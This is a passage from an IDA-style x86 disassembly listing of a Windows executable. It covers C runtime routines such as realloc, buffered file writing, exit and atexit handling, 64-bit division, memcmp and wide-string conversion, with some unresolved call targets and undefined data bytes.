		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------


loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	loc_41958F


loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_48B680
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi


loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h


loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542


loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi


loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2710000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi


loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h


loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567


loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi


loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		call	near ptr 2820000h
		nop
		mov	edi, eax


loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588


loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_48A074, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------


loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi


loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_43B7E4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------


loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi


loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h


loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588


loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2710000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi


loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		call	near ptr 2820000h
		nop
		mov	edi, eax


loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588


loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_48A074, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi


loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		call	near ptr 2820000h
		nop
		test	eax, eax
		jnz	short loc_4196EA


loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_48A074, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA


loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax


loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------


loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------


loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax


loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE


loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------


loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx


loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5


loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------


loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1


loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]


loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------


loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi


loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26903C5h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 2650BAEh
		push	eax
		call	sub_41EF44
		pop	ecx


loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_48A014, 0Dh
		mov	dword_48A018, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------


loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6


loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi


loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi


loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A


loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D


loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------


loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh


loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0


loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax


loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F86+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3


loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9


loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_48A0A8, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3


loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------


loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		nop
		call	near ptr 2650BAEh
		cmp	eax, 7Ah
		jz	short loc_419A44


loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_4395A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax


loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C


loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------


loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_48A0A8, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2620000h
		cmp	eax, esi
		jz	short loc_419A35


loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax


loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43956C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73


loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_48A05C, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		call	near ptr 2780DF7h
		nop
		push	eax
		nop
		call	near ptr 27E0BB5h


loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_48A058, edi
		mov	byte_48A054, bl
		jnz	short loc_419B78
		mov	eax, dword_48B69C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_48B698
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66


loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax


loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_48B69C
		jnb	short loc_419B53


loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi


loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx


loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_48A05C, edi
		nop
		call	near ptr 77E75CB5h


loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax


loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 27D0BFFh
		test	eax, eax
		jnz	short loc_419BD0
		nop
		call	near ptr 2650BAEh
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------


loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax


loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		dd 0FA9AF532h, 0AC03B3B4h, 2063F439h, 64F6ED3Bh, 0A1h
		dd 89645000h, 25h, 58EC8300h, 89575653h, 0E890E865h, 2417F8Bh
		dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h
		dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h
		dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah
		dd 59000000h, 0E8FC7589h, 5967h, 417EE4E8h, 8CA39002h
		dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h
		dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 9050A445h, 416377E8h
		dd 54A1E802h, 45890000h, 0D045F69Ch, 0F067401h,	0EBD445B7h
		dd 580A6A03h, 9C75FF50h, 0D2E85656h, 90023070h,	49F7E850h
		dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh
		dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_48A068, 1
		jnz	short loc_419CE8
		call	sub_41F84C


loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_439590
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 48A0683Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0A5BF94E8h
		db 77h,	90h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172AE+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_43BCD8
		jz	short loc_419D83
		cmp	esi, offset dword_43BCF8
		jnz	short loc_419D8E


loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95


loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
